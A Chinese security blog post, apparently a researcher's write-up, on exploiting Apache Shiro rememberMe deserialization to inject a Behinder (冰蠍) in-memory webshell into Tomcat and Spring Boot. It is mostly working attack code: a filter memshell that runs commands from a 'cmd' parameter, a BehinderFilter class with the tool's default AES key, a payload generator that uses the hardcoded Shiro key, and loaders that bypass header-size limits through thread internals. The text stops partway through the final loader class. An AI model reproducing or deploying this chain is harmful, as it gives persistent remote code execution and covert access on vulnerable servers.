利用shiro反序列化注入冰蠍內存馬


# 利用shiro反序列化注入冰蠍內存馬
文章首發先知社區:https://xz.aliyun.com/t/10696

一、shiro反序列化注入內存馬

1)tomcat filter內存馬

先來看一個普通的jsp寫入tomcat filter內存馬的代碼:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "evil";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Do Filter ......");
                String cmd;
                if ((cmd = servletRequest.getParameter("cmd")) != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }

                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println("doFilter");
            }

            @Override
            public void destroy() {

            }

        };
        
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 將filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
    }
%>

對以上的tomcat filter型內存馬進行邏輯拆分,有四個主要部分,依次為:

  • 拿到tomcat的StandardContext標准上下文對象

image-20211218145641457

  • 利用standardContext標准上下文對象,反射拿到filterConfigs

image-20211218145751051

  • 惡意filter過濾器的邏輯代碼

image-20211218193416531

  • 把惡意filter經過一層層封裝,存入filterConfigs中的邏輯

image-20211218150351083

通過訪問以上的jsp代碼,從而觸發這四個主要邏輯就能動態注入一個name為evil,過濾路徑URLPattern為/*的filter對象了,接下來只要訪問/*就能觸發doFilter中的惡意代碼。

image-20211218194017163

image-20211218194055794

2)利用shiro反序列化注入內存馬

把以上提到的filter內存馬邏輯寫入惡意類的static方法中,再利用TemplatesImpl來動態加載字節碼觸發其邏輯,從而注入惡意filter

構造BehinderFilter.java

BehinderFilter因為其被TemplatesImpl類來加載,所以需要繼承AbstractTranslet

image-20211218194800076

在構造函數中放入tomcat filter內存馬的代碼后,會缺少一個request對象,在這里request只是用來拿standardContext的,而我們可以通過其他方式拿到standardContext

image-20211218194907909

在文章:Java內存馬:一種Tomcat全版本獲取StandardContext的新方法中提到,由於Tomcat處理請求的線程中,存在ContextLoader對象,而這個對象又保存了StandardContext對象,從而可以通過以下代碼,從線程中拿到StandardContext

 WebappClassLoaderBase webappClassLoaderBase =
                     (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
             StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

再看下圖41行與78行的邏輯,實例化了一個內部類后set進filterDef中

image-20211218195059659

image-20211218195119375

其實在這里可以直接把整個惡意類BehinderFilter當作一個filter,使其實現Filter接口

public class BehinderFilter extends AbstractTranslet implements Filter

再把Filter邏輯寫入此類的doFilter方法中,最終得到如下代碼

package com.govuln.shiroattack.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 將filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

shiro反序列化注入內存馬

這里采用P牛給出專門針對shiro無CC依賴的CB1鏈來進行注入內存馬,項目代碼地址:https://github.com/phith0n/JavaThings

需要在P神給出的項目環境中添加tomcat核心包解決構造的惡意類報錯:

<dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-core</artifactId>
      <version>8.5.50</version>
    </dependency>

新建一個類,使用javassist讀取一個類文件的class,再利用shiro自帶的類,對其進行base64+aes加密

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName());

        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

把生成的字符放入rememberMe中即可成功注入內存馬

image-20211218201601718

測試彈出計算器

image-20211218201624701

二、注入冰蠍內存馬

在上面實現了shiro注入內存馬后,想着是否能注入冰蠍呢。首先要了解下冰蠍jsp馬的邏輯

1)冰蠍邏輯

查看Behinder_v3.0_Beta_9中的shell.jsp代碼

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>

<%
    if (request.getMethod().equals("POST")) {
        String k = "e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
        session.putValue("u", k);
        Cipher c = Cipher.getInstance("AES");
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
        new U(this.getClass().getClassLoader()).g(
            c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
            .newInstance().equals(pageContext);
    }
%>
  1. 冰蠍自定義了一個可以解析class字節數組的類加載器U,邏輯為,使用g方法調用super.defineClass,可以將byte[]直接轉換為Class對象

image-20211218153120004

  1. 判斷為post請求后,讀取請求體中的數據,拿到進行Base64+AES解碼后的字節碼數據。

    image-20211218153920984

  2. 調用自定義類加載器U拿到class后,進行newInstance實例化,調用其惡意對象的equals方法,並且傳入pageContext

2)改造冰蠍馬

嘗試在BehinderFilter.javafilter中,放入冰蠍的核心邏輯代碼

if (request.getMethod().equals("POST")) {
            String k = "e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
            session.putValue("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
            new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
        }

image-20211218221512686

接下來就是怎么解決代碼中出現的幾個紅色的問題

request和session對象

request對象可以通過其doFilter方法參數中傳遞的ServletRequest獲得,而session可以通過request.getSession()獲得

// 獲取request和response對象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();

pageContext對象

pageContext對象為jsp九大內置對象,在冰蠍作者rebeyond的文章利用動態二進制加密實現新型一句話木馬之Java篇中知道,在冰蠍的代碼中,服務端需要從pageContext對象中獲取出request/response/session。

image-20211218215617872

而在冰蠍3.0 bata7之后不再依賴pageContext對象,只需給在equal函數中傳遞的object對象中,有request/response/session對象即可,所以此時我們可以把pageContext對象換成一個Map,手動添加這三個對象即可

//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);

image-20211218221433652

然后當我們把制作好的BehinderFilter.java,注入CB1鏈,通過rememberMe發送給shiro后,就會發現冰蠍並連接不上。此錯誤在文章冰蠍改造之不改動客戶端=>內存馬中給出了思路,需要自己通過反射調用類加載器。直接給出代碼

//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);

最終的BehinderFilter.java代碼變成如下

package com.govuln.shiroattack.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 將filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter ......");
            // 獲取request和response對象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();

            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);

            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

首先在shiro+tomcat環境下測試成功image-20211218231915204

image-20211218232529900

然而在springboot+shiro環境中卻測試失敗了:

image-20211219001424882

3)排錯

為了查出這個錯誤,我選擇直接把內存馬放入springboot中,自己進行filter注冊,debug出其出錯點。具體操作如下

image-20211219001714097

啟動springboot后可以看到BehinderFilter.java:41行找不到filterConfigs報錯

image-20211219004214802

為了進一步查看出錯點,在此下好斷點步入getDeclaredField

image-20211219004504646

可以看到在2068行進行了filterConfigs的查找

image-20211219004607794

而在此Fileld中確實沒有filterConfigs

image-20211219004810681

回到filter代碼中,其實,在39行可以看到進行了一次轉型,而有可能在springboot中的standardContextfilterConfigs值是繼承自父類

image-20211219005753700

修改41行中的代碼為如下,從父類中拿filterConfigs

Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");

image-20211219005957331

運行后不報錯成功通過邏輯

image-20211219010035953

接下來就是對內存馬進行修改了,兩個環境,拿filterConfigs的邏輯代碼卻不同,分別是standardContext本身和其父類。如果要兼容這兩個環境的話,可以使用try-catch分別寫入兩行不同的代碼拿到不同得class對象

            Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }

最終修改如下圖

image-20211219010541783

最終內存馬變為:

package com.govuln.shiroattack.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;


public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Class<? extends StandardContext> aClass = null;
            try{
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            }catch (Exception e){
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
            Field Configs = aClass.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 將filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        try {
            System.out.println("Do Filter ......");
            // 獲取request和response對象
            HttpServletRequest request = (HttpServletRequest) servletRequest;
            HttpServletResponse response = (HttpServletResponse)servletResponse;
            HttpSession session = request.getSession();

            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request",request);
            pageContext.put("response",response);
            pageContext.put("session",session);

            if (request.getMethod().equals("POST")) {
                String k = "e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));

                //revision BehinderFilter
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }

}

測試springboot+shiro環境成功

image-20211219011212293

shiro+tomcat環境成功:

image-20211219011042214

三、繞過maxHttpHeaderSize

為了方便測試,在以上的環境測試中,我進行了maxHttpHeaderSize參數的修改。

image-20211218232925844

如果我們換成默認值的話,其實會爆出一個400的錯誤,如下

image-20211218233239565

原因在於tomcat的maxHttpHeaderSize默認值只有 4096 個字節(4k),加密編碼后的字節碼數據遠大於這個4096個字節,所以會爆出400的錯誤。目前找到三種解決方案並給出對應的文章鏈接

1)修改maxHttpHeaderSize

Shiro 550 漏洞學習 (二):內存馬注入及回顯

2)將class bytes使用gzip+base64壓縮編碼

tomcat結合shiro無文件webshell的技術研究以及檢測方法

3)從POST請求體中發送字節碼數據

Java代碼執行漏洞中類動態加載的應用

這里我推薦使用第三種方案,就是在post請求體中發送加密編碼后的BehinderFilter.java

1)從POST請求體中發送字節碼數據

根據師傅的方案,不借助於反序列化惡意filter來注入,而是反序列化一個MyClassLoader,其邏輯為

靜態代碼塊中獲取了Spring Boot上下文里的request,response和session,然后獲取classData參數並通過反射調用defineClass動態加載此類,實例化后調用其中的equals方法傳入request,response和session三個對象

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
    static{
        try{
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
            java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
            r.setAccessible(true);
            org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
            javax.servlet.http.HttpSession session = request.getSession();

            String classData=request.getParameter("classData");

            byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
            cc.newInstance().equals(new Object[]{request,response,session});
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
    }
    @Override
    public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
    }
}

通過shiro的AES+Base64加密MyClassLoader.java拿到加密后的數據

image-20211218235628430

再使用如下命令得到class文件BehinderFilter.class的base64

cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

rememberMe中放入通過shiro的AES+Base64加密MyClassLoader.java拿到加密后的數據,classData傳輸BehinderFilter.class的base64,要記得進行一次url編碼

image-20211219000221079

springboot+shiro環境下測試成功:

image-20211219124338914

而在shiro+tomcat環境下則會測試失敗,原因在於MyClassLoader.java代碼中,獲取request對象是從Spring Boot上下文中獲取,而tomcat+shiro環境中並沒有spring boot上下文,導致request對象獲取失敗

image-20211219124609083

2)尋找request對象

怎么在tomcat中尋找到request對象呢,通過xray 技術博客中的Shiro RememberMe 漏洞檢測的探索之路這篇文章給了我們思路,通過遍歷線程Thread.currentThread()中的對象來查找到其中藏着的request對象。其中可以使用c0y1 師傅寫的 java-object-searcher ,一款內存對象搜索工具來輔助我們尋找。

下載java-object-searcher,把所有文件復制進tomcat的web項目中

image-20211219142456760

編寫一個servlet,在其doGet方法中寫入對應的查找邏輯

helloController.java

import josearcher.entity.Keyword;
import josearcher.searcher.SearchRequstByBFS;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;

public class helloController extends HttpServlet {
    
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter writer = resp.getWriter();
        writer.println("hello servlet!");
        //設置搜索類型包含ServletRequest,RequstGroup,Request...等關鍵字的對象
        //設置搜索類型包含ServletRequest,RequstGroup,Request...等關鍵字的對象
        List<Keyword> keys = new ArrayList<>();
        Keyword.Builder builder = new Keyword.Builder();
        builder.setField_type("nnn");
        keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
        keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
        keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
        keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
        keys.add(new Keyword.Builder().setField_type("Request").build());
        //新建一個廣度優先搜索Thread.currentThread()的搜索器
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        //打開調試模式
        searcher.setIs_debug(true);
        //挖掘深度為20
        searcher.setMax_search_depth(20);
        //設置報告保存位置
        searcher.setReport_save_path("D:\\");
        searcher.searchObject();
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
    
}

當然在web.xml也要配好映射

 <!--注冊servlet-->
  <servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>controller.helloController</servlet-class>
  </servlet>
  <!--Servlet映射的請求路徑-->
  <servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
  </servlet-mapping>

運行后訪問url地址,即可觸發查找,查找結果文件保存在D盤根目錄下

image-20211219142638086

打開查找結果文件,發現其中的一個結果中有RequestInfo

image-20211219142916126

debug模式下查看這個對象,確實存在request對象

image-20211219143433193

但其實會發現,拿到的這個Request對象類型為org.apache.coyote.Request,並不能直接獲取到請求體里面的數據。需要通過其notes對象拿到另一個類型為org.apache.catalina.connector.Request的Request對象,通過此對象就能調用getParameter方法獲取到請求體里面的數據了,具體調試過程太長,這里就不詳述了。

根據以上的尋找,可以寫出修改后的MyClassLoader.java對象,為了區分之前的類,我重新命名為了ClassDataLoader.java,以下是此類的代碼

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
